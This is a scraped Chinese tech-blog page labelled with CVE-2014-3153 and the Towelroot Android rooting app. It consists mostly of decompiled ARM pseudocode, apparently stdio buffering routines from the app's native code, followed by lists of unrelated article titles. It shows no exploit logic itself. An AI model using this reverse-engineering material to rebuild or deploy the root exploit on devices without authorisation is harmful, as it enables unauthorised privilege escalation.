v12 -= v13;
if ( !v12 )
return v4;
v7 += v13;
}
v15 = 32;
if ( v13 )
v15 = 64;
*(_WORD *)(v6 + 12) = v14 | v15;
LABEL_32:
v4 = sub_E91C(v20 - v12, v22);
}
return v4;
}
// 201A0: using guessed type void *off_201A0;
// 201A4: using guessed type int dword_201A4;
// 201A8: using guessed type void *off_201A8;
// 201AC: using guessed type void *off_201AC;
//----- (000201B0) --------------------------------------------------------
signed int __fastcall sub_201B0(signed int a1, int a2)
{
signed int v2; // r4@1
int v3; // r6@1
__int16 v4; // r0@2
unsigned int v5; // r7@6
int v6; // r5@6
__int16 v7; // r3@6
int v8; // r0@10
int v9; // r2@11
int v10; // r0@21
int v11; // r2@22
int v12; // r1@22
int v13; // r3@23
int v14; // r2@26
int v15; // r3@26
int v16; // r0@27
int v17; // r2@34
int v18; // r3@36
unsigned int v19; // r0@41
int v20; // r2@46
int v21; // r0@46
int v22; // r3@47
int v23; // r0@53
int v24; // r1@57
int v26; // [sp+0h] [bp-30h]@19
int v27; // [sp+0h] [bp-30h]@24
int v28; // [sp+0h] [bp-30h]@46
int v29; // [sp+4h] [bp-2Ch]@14
int v30; // [sp+4h] [bp-2Ch]@19
int v31; // [sp+4h] [bp-2Ch]@23
int v32; // [sp+8h] [bp-28h]@6
int v33; // [sp+Ch] [bp-24h]@24
int v34; // [sp+Ch] [bp-24h]@44
signed int v35; // [sp+10h] [bp-20h]@14
v2 = a1;
v3 = a2;
if ( *(_DWORD *)(a2 + 8) )
{
v4 = *(_WORD *)(a1 + 12);
if ( (!(v4 & 8) || !*(_DWORD *)(v2 + 16)) && sub_1B7D0(v2) )
{
*(_DWORD *)sub_1FD74() = 9;
return -1;
}
v5 = **(_DWORD **)v3;
v6 = *(_DWORD *)(*(_DWORD *)v3 + 4);
v32 = *(_DWORD *)v3 + 8;
v7 = *(_WORD *)(v2 + 12);
if ( v7 & 2 )
{
while ( 1 )
{
while ( !v6 )
{
v5 = *(_DWORD *)v32;
v6 = *(_DWORD *)(v32 + 4);
v32 += 8;
}
v8 = (*(int (__fastcall **)(_DWORD, unsigned int, int))(v2 + 44))(*(_DWORD *)(v2 + 28), v5, v6);
if ( v8 <= 0 )
break;
v9 = *(_DWORD *)(v3 + 8);
*(_DWORD *)(v3 + 8) = v9 - v8;
if ( v9 == v8 )
return 0;
v5 += v8;
v6 -= v8;
}
LABEL_59:
*(_WORD *)(v2 + 12) |= 0x40u;
return -1;
}
if ( v7 & 1 )
{
v29 = 0;
v35 = 0;
while ( 1 )
{
while ( !v6 )
{
v35 = 0;
v5 = *(_DWORD *)v32;
v6 = *(_DWORD *)(v32 + 4);
v32 += 8;
}
if ( !v35 )
{
v19 = sub_1E5DC(v5, 10, v6);
if ( v19 )
{
v29 = v19 + 1 - v5;
v35 = 1;
}
else
{
v29 = v6 + 1;
v35 = 1;
}
}
v34 = v29;
if ( v29 > v6 )
v34 = v6;
v20 = *(_DWORD *)(v2 + 20);
v28 = v20 + *(_DWORD *)(v2 + 8);
v21 = *(_DWORD *)v2;
if ( v34 <= v28 || (v22 = *(_DWORD *)(v2 + 16), v21 <= (unsigned int)v22) )
{
if ( v34 < v20 )
{
sub_DE6C(v21, v5, v34, v34);
v23 = *(_DWORD *)v2 + v34;
*(_DWORD *)(v2 + 8) -= v34;
*(_DWORD *)v2 = v23;
v28 = v34;
}
else
{
v28 = (*(int (__fastcall **)(_DWORD, unsigned int))(v2 + 44))(*(_DWORD *)(v2 + 28), v5);
if ( v28 <= 0 )
goto LABEL_59;
}
}
else
{
sub_DE6C(v21, v5, v28, v22);
*(_DWORD *)v2 += v28;
if ( sub_18C54(v2) )
goto LABEL_59;
}
v29 -= v28;
if ( !v29 )
{
if ( sub_18C54(v2) )
goto LABEL_59;
v35 = 0;
}
v24 = *(_DWORD *)(v3 + 8) - v28;
*(_DWORD *)(v3 + 8) = v24;
if ( !v24 )
return 0;
v5 += v28;
v6 -= v28;
}
}
while ( 1 )
{
while ( !v6 )
{
v5 = *(_DWORD *)v32;
v6 = *(_DWORD *)(v32 + 4);
v32 += 8;
}
if ( (*(_WORD *)(v2 + 12) & 0x4200) == 16896 && *(_DWORD *)(v2 + 8) < v6 )
{
v30 = *(_DWORD *)v2 - *(_DWORD *)(v2 + 16);
v26 = *(_DWORD *)(v2 + 20);
do
v26 = 2 * v26 + 1;
while ( v26 < v6 + v30 );
v10 = sub_1FDD8();
if ( !v10 )
goto LABEL_59;
v11 = *(_DWORD *)(v2 + 8);
v12 = *(_DWORD *)(v2 + 20);
*(_DWORD *)(v2 + 16) = v10;
*(_DWORD *)(v2 + 8) = v11 - v12 + v26;
*(_DWORD *)(v2 + 20) = v26;
*(_DWORD *)v2 = v10 + v30;
}
v31 = *(_DWORD *)(v2 + 8);
v13 = *(_WORD *)(v2 + 12);
if ( v13 & 0x200 )
break;
v16 = *(_DWORD *)v2;
v27 = v6;
if ( v6 <= v31 || (v13 = *(_DWORD *)(v2 + 16), v16 <= (unsigned int)v13) )
{
if ( v6 < *(_DWORD *)(v2 + 20) )
{
sub_DE6C(v16, v5, v6, v13);
v17 = *(_DWORD *)v2;
*(_DWORD *)(v2 + 8) -= v6;
v15 = v17 + v6;
LABEL_35:
*(_DWORD *)v2 = v15;
goto LABEL_36;
}
v27 = (*(int (__fastcall **)(_DWORD, unsigned int))(v2 + 44))(*(_DWORD *)(v2 + 28), v5);
if ( v27 <= 0 )
goto LABEL_59;
}
else
{
sub_DE6C(v16, v5, v31, v13);
*(_DWORD *)v2 += v31;
if ( sub_18C54(v2) )
goto LABEL_59;
v27 = v31;
}
LABEL_36:
v18 = *(_DWORD *)(v3 + 8) - v27;
*(_DWORD *)(v3 + 8) = v18;
if ( !v18 )
return 0;
v5 += v27;
v6 -= v27;
}
v27 = v6;
v33 = v6;
if ( v6 > *(_DWORD *)(v2 + 8) )
v33 = *(_DWORD *)(v2 + 8);
sub_DE6C(*(_DWORD *)v2, v5, v33, v13);
v14 = *(_DWORD *)v2;
*(_DWORD *)(v2 + 8) -= v33;
v15 = v14 + v33;
goto LABEL_35;
}
return 0;
}
//----- (00020418) --------------------------------------------------------
signed int __fastcall sub_20418(int a1, int a2, int a3)
{
int v3; // r5@1
int v4; // r7@1
int v5; // r0@1
char *v6; // r6@1
int v8; // [sp+4h] [bp-84h]@1
__int16 v9; // [sp+18h] [bp-70h]@0
int v10; // [sp+40h] [bp-48h]@0
v8 = a3;
v3 = a2;
v4 = a1;
v5 = *(_WORD *)(a1 + 14);
v6 = (char *)off_2048C + 132142;
if ( v5 < 0 || sub_D7EC(v5) < 0 )
{
*(_DWORD *)v8 = 0;
LABEL_5:
*(_DWORD *)v3 = 1024;
return 2048;
}
*(_DWORD *)v8 = (v9 & 0xF000u) + dword_20490 <= 0;
if ( !v10 )
goto LABEL_5;
*(_DWORD *)v3 = v10;
*(_DWORD *)(v4 + 76) = v10;
if ( (unsigned __int16)(v9 & 0xF000) == 0x8000 && *(_DWORD *)(v4 + 40) == *(_DWORD *)&v6[dword_20494] )
return 1024;
return 2048;
}
// 2048C: using guessed type void *off_2048C;
// 20490: using guessed type int dword_20490;
// 20494: using guessed type int dword_20494;
//----- (00020498) --------------------------------------------------------
signed int __fastcall sub_20498(signed int result)
{
__int16 v1; // r3@1
char *v2; // r5@1
signed int v3; // r4@1
__int16 v4; // r7@2
int v5; // r6@2
int v6; // r2@3
__int16 v7; // r5@5
int v8; // r6@5
int v9; // [sp+0h] [bp-20h]@2
int v10; // [sp+4h] [bp-1Ch]@2
v1 = *(_WORD *)(result + 12);
v2 = (char *)off_20508 + 132260;
v3 = result;
if ( v1 & 2 )
goto LABEL_4;
v4 = sub_20418(result, (int)&v10, (int)&v9);
v5 = sub_1FD84();
if ( !v5 )
{
v6 = *(_WORD *)(v3 + 12);
result = v6 | 2;
*(_WORD *)(v3 + 12) = v6 | 2;
LABEL_4:
*(_DWORD *)v3 = v3 + 67;
*(_DWORD *)(v3 + 16) = v3 + 67;
*(_DWORD *)(v3 + 20) = 1;
return result;
}
result = sub_1B870(*(_DWORD *)&v2[dword_2050C]);
v7 = v4 | 0x80;
*(_DWORD *)v3 = v5;
*(_DWORD *)(v3 + 16) = v5;
v8 = v9;
*(_DWORD *)(v3 + 20) = v10;
if ( v8 )
{
result = sub_18928(*(_WORD *)(v3 + 14));
if ( result )
{
result = 1;
v7 = v4 | 0x81;
}
}
*(_WORD *)(v3 + 12) |= v7;
return result;
}
// 20508: using guessed type void *off_20508;
// 2050C: using guessed type int dword_2050C;
//----- (00020510) --------------------------------------------------------
signed int __fastcall sub_20510(int a1)
{
int v1; // r3@1
int v2; // r6@1
int v3; // r5@1
int v4; // r0@2
int v5; // r3@3
int v6; // r0@3
int v7; // r7@4
int v8; // r0@4
int v9; // r3@4
int v10; // r6@4
int v11; // r0@5
v1 = *(_DWORD *)(a1 + 48);
v2 = *(_DWORD *)v1;
v3 = a1;
if ( *(_DWORD *)v1 == a1 + 64 )
{
v4 = sub_1FD84();
if ( v4 )
{
v5 = dword_2058C;
**(_DWORD **)(v3 + 48) = v4;
v6 = v4 + v5;
*(_DWORD *)(*(_DWORD *)(v3 + 48) + 4) = 1024;
*(_BYTE *)(v6 + 2) = *(_BYTE *)(v3 + 66);
*(_BYTE *)(v6 + 1) = *(_BYTE *)(v3 + 65);
*(_BYTE *)v6 = *(_BYTE *)v2;
*(_DWORD *)v3 = v6;
return 0;
}
}
else
{
v7 = *(_DWORD *)(v1 + 4);
v8 = sub_1FDD8();
v10 = v8;
if ( v8 )
{
sub_DE6C(v8 + v7, v8, v7, v9);
v11 = *(_DWORD *)(v3 + 48);
*(_DWORD *)v3 = v10 + v7;
*(_DWORD *)v11 = v10;
*(_DWORD *)(*(_DWORD *)(v3 + 48) + 4) = 2 * v7;
return 0;
}
}
return -1;
}
// 2058C: using guessed type int dword_2058C;
//----- (00020590) --------------------------------------------------------
signed int __fastcall sub_20590(int a1, int a2)
{
int v2; // r5@1
int v3; // r4@1
__int16 v4; // r3@4
__int16 v5; // r1@8
int v6; // r3@10
int v7; // r6@10
int v8; // r0@13
int v9; // r3@13
unsigned int v10; // r2@14
int v11; // r3@16
int v12; // r6@17
int v13; // r2@18
int v14; // r0@18
int v15; // r3@18
v2 = a1;
v3 = a2;
if ( a1 != -1 )
{
if ( !**(_DWORD **)((char *)off_20658 + dword_2065C + 132508) )
sub_18D40();
v4 = *(_WORD *)(v3 + 12);
if ( !(v4 & 4) )
{
if ( !(v4 & 0x10) )
return -1;
if ( v4 & 8 )
{
if ( sub_18C08(v3) )
return -1;
v5 = *(_WORD *)(v3 + 12);
*(_DWORD *)(v3 + 8) = 0;
*(_DWORD *)(v3 + 24) = 0;
*(_WORD *)(v3 + 12) = v5 & 0xFFF7;
}
*(_WORD *)(v3 + 12) |= 4u;
}
v6 = *(_DWORD *)(v3 + 48);
v7 = (unsigned __int8)v2;
if ( *(_DWORD *)v6 )
{
if ( *(_DWORD *)(v3 + 4) < *(_DWORD *)(v6 + 4) || !sub_20510(v3) )
{
v8 = *(_DWORD *)v3 - 1;
*(_DWORD *)v3 = v8;
*(_BYTE *)v8 = v7;
v9 = *(_DWORD *)(v3 + 4) + 1;
LABEL_19:
*(_DWORD *)(v3 + 4) = v9;
return v7;
}
return -1;
}
v10 = *(_DWORD *)(v3 + 16);
*(_WORD *)(v3 + 12) &= 0xFFDFu;
if ( !v10 || *(_DWORD *)v3 <= v10 || (v11 = *(_DWORD *)v3 - 1, v2 = *(_BYTE *)v11, v2 != v7) )
{
v13 = *(_DWORD *)(v3 + 48);
v14 = *(_DWORD *)(v3 + 4);
*(_DWORD *)(v3 + 56) = *(_DWORD *)v3;
*(_DWORD *)v13 = v3 + 64;
v15 = *(_DWORD *)(v3 + 48);
*(_DWORD *)(v3 + 60) = v14;
*(_DWORD *)(v15 + 4) = 3;
*(_DWORD *)v3 = v3 + 66;
*(_BYTE *)(v3 + 66) = v7;
v9 = 1;
goto LABEL_19;
}
v12 = *(_DWORD *)(v3 + 4);
*(_DWORD *)v3 = v11;
*(_DWORD *)(v3 + 4) = v12 + 1;
}
return v2;
}
// 20658: using guessed type void *off_20658;
// 2065C: using guessed type int dword_2065C;
//----- (00020780) --------------------------------------------------------
int __fastcall sub_20780(int a1, char *a2, int a3)
{
char *v3; // r5@1
int v4; // r6@1
int v5; // r0@3
int v6; // r7@3
int v8; // [sp+4h] [bp-34h]@1
int *v9; // [sp+8h] [bp-30h]@3
signed int v10; // [sp+Ch] [bp-2Ch]@3
char *v11; // [sp+10h] [bp-28h]@3
int v12; // [sp+14h] [bp-24h]@3
int v13; // [sp+18h] [bp-20h]@3
int v14; // [sp+1Ch] [bp-1Ch]@3
v8 = a1;
v3 = a2;
v4 = a3;
if ( !a2 )
v3 = (char *)off_207DC + 133012;
v5 = sub_E36C(v3, off_207E0 + 133020);
v6 = 2 - (v5 - (((unsigned int)v5 < 1) + v5 - 1));
v9 = &v8;
v10 = 1;
v11 = v3;
v12 = sub_185F4((int)v3) + 1;
v13 = v4;
v14 = sub_185F4(v4) + 1;
return (*(int (__fastcall **)(int, int **))((char *)off_207E4 + 12 * v6 + 133074))(v6, &v9);
}
// 207DC: using guessed type void *off_207DC;
// 207E0: using guessed type char *off_207E0;
// 207E4: using guessed type void *off_207E4;
//----- (000207E8) --------------------------------------------------------
int __fastcall sub_207E8(int a1, char *a2, int a3, int a4)
{
char *v4; // r7@1
int v5; // r5@1
int v6; // r6@1
int result; // r0@1
int *v8; // [sp+0h] [bp-428h]@1
char v9; // [sp+4h] [bp-424h]@1
int varg_r2; // [sp+420h] [bp-8h]@1
int varg_r3; // [sp+424h] [bp-4h]@1
varg_r2 = a3;
varg_r3 = a4;
v4 = a2;
v5 = *(_DWORD *)((char *)off_20840 + dword_20844 + 133110);
v6 = a1;
*(int **)((char *)&v8 + dword_2084C) = *(int **)v5;
v8 = &varg_r3;
sub_229AC((int)&v9, 1024, a3, (int)&varg_r3);
result = sub_20780(v6, v4, (int)&v9);
if ( *(int **)((char *)&v8 + dword_2084C) != *(int **)v5 )
result = ((int (__fastcall *)(int))loc_1E9B0)(result);
return result;
}
// 20840: using guessed type void *off_20840;
// 20844: using guessed type int dword_20844;
// 2084C: using guessed type int dword_2084C;
//----- (000229AC) --------------------------------------------------------
int __fastcall sub_229AC(int a1, signed int a2, int a3, int a4)
{
int result; // r0@5
int v5; // [sp+4h] [bp-74h]@5
int v6; // [sp+Ch] [bp-6Ch]@5
signed __int16 v7; // [sp+10h] [bp-68h]@5
signed __int16 v8; // [sp+12h] [bp-66h]@5
int v9; // [sp+14h] [bp-64h]@5
int v10; // [sp+18h] [bp-60h]@5
int *v11; // [sp+34h] [bp-44h]@1
int v12; // [sp+58h] [bp-20h]@1
int v13; // [sp+5Ch] [bp-1Ch]@1
char v14; // [sp+67h] [bp-11h]@4
v11 = &v12;
v12 = 0;
v13 = 0;
if ( a2 >= 0 )
{
if ( !a2 )
{
a2 = 1;
a1 = (int)&v14;
}
}
else
{
a2 = dword_229F8;
}
v8 = -1;
v5 = a1;
v9 = a1;
v6 = a2 - 1;
v10 = a2 - 1;
v7 = 520;
result = sub_19AFC((signed int)&v5, a3, a4);
*(_BYTE *)v5 = 0;
return result;
}
// 229F8: using guessed type int dword_229F8;
#error "There were 1 decompilation failure(s) on 131 function(s)"
CVE-2014-3153 com.geohot.towelroot的更多相关文章
- Android安全研究经验谈
安全研究做什么 从攻击角度举例,可以是:对某个模块进行漏洞挖掘的方法,对某个漏洞进行利用的技术,通过逆向工程破解程序.解密数据,对系统或应用进行感染.劫持等破坏安全性的攻击技术等. 而防御上则是:查杀 ...
- Bash漏洞批量检测工具与修复方案
&amp;lt;img src="http://image.3001.net/images/20140928/14118931103311.jpg!small" t ...
- Metasploit的基本使用
Metasploit可以在Linux.Windows和Mac OS X系统上运行.我假设你已安装了Metasploit,或者你使用的系统是Kali Linux.它有命令行接口也有GUI接口. 我使用的 ...
- android CVE
本文收集网上android cve的一些分析供后续学习: Android uncovers master-key:android1.6-4.0 由于ZIP格式允许存在两个或以上完全相同的路径,而安卓系 ...
- Towelroot v3.0版发布 将支持更多设备 Towelroot v3.0下载
Towelroot虽然已经发布一段时间了,虽然所Towelroot可以一键ROOT很多设备,虽然它只有100多K.不过还是有一小部分的机型没办法ROOT成功的,也不知道什么原因.不过不用担心,Geoh ...
- CVE: 2014-6271、CVE: 2014-7169 Bash Specially-crafted Environment Variables Code Injection Vulnerability Analysis
目录 . 漏洞的起因 . 漏洞原理分析 . 漏洞的影响范围 . 漏洞的利用场景 . 漏洞的POC.测试方法 . 漏洞的修复Patch情况 . 如何避免此类漏洞继续出现 1. 漏洞的起因 为了理解这个漏 ...
- How to exploit the x32 recvmmsg() kernel vulnerability CVE 2014-0038
http://blog.includesecurity.com/2014/03/exploit-CVE-2014-0038-x32-recvmmsg-kernel-vulnerablity.html ...
- 看完SQL Server 2014 Q/A答疑集锦:想不升级都难!
看完SQL Server 2014 Q/A答疑集锦:想不升级都难! 转载自:http://mp.weixin.qq.com/s/5rZCgnMKmJqeC7hbe4CZ_g 本期嘉宾为微软技术中心技术 ...
- SQL Server 2014 新特性——内存数据库
SQL Server 2014 新特性——内存数据库 目录 SQL Server 2014 新特性——内存数据库 简介: 设计目的和原因: 专业名词 In-Memory OLTP不同之处 内存优化表 ...
随机推荐
- 公司内部SQUID代理HTTPS访问资料网站
同事安装SQUID,我按如下方法加密: 参考URL: http://www.tuicool.com/articles/iYv2YfU 众所周知,在国内访问国外互联网经常无法访问,比如要找资料googl ...
- PCB走线和过孔的过流能力
PCB走线的载流能力与以下因素有关:线宽.线厚(铜箔厚度).容许温升.PCB走线越宽,载流能力越大. 近似计算公式: I=KT0.44A0.75 (K为修正系数,一般覆铜线在内层时取0.024,在外层 ...
- 11g v$session定位客户端IP
11g v$session 新增PORT 字段 用于描述客户端的端口号 客户机从10.5.129.180 访问10.5.128.28 [oracle@cpool ~]$ netstat -na | g ...
- 命名实参和可选实参(C# 编程指南)
https://msdn.microsoft.com/zh-cn/library/dd264739.aspx CalculateBMI(weight: 123, height: 64); Calcul ...
- .net连接oracle(无客户端)
使用DDTek.Oracle.dll可以在没有安装oracle客户端的情况下连接远程的oracle. string _conString = "Host=192.168.1.1;Port=1 ...
- 修改http中的refer(转)
Referrer的重要性 HTTP请求中有一个referer的报文头,用来指明当前流量的来源参考页.例如在www.sina.com.cn/sports/上点击一个链接到达cctv.com首页,那么就r ...
- mongoose--------ORM数据操作框架
数据关系映射:ORM O:object R:relation M:mapping 把对数据库的操作都封装到对象中,操作了对象,就相当于操作了数据库. 安装: npm install mongoose ...
- Javascript 精髓整理篇之二(函数篇)postby:http://zhutty.cnblogs.com
今天总结的内容是javascript的function, 涉及到function顺便讲讲this. Function 是javascript的函数,也是js的执行单元.函数是JavaScript的一种 ...
- Android应用开发-小巫CSDN博客client之嵌入有米广告
Android应用开发-小巫CSDN博客client之嵌入有米广告 上一篇博客给大家介绍怎样集成友盟社会化组件,本篇继续带来干货,教大家怎样嵌入广告到应用中去.小巫自称专业对接30年,熟悉各大渠道SD ...
- [React] React Router: Router, Route, and Link
In this lesson we'll take our first look at the most common components available to us in react-rout ...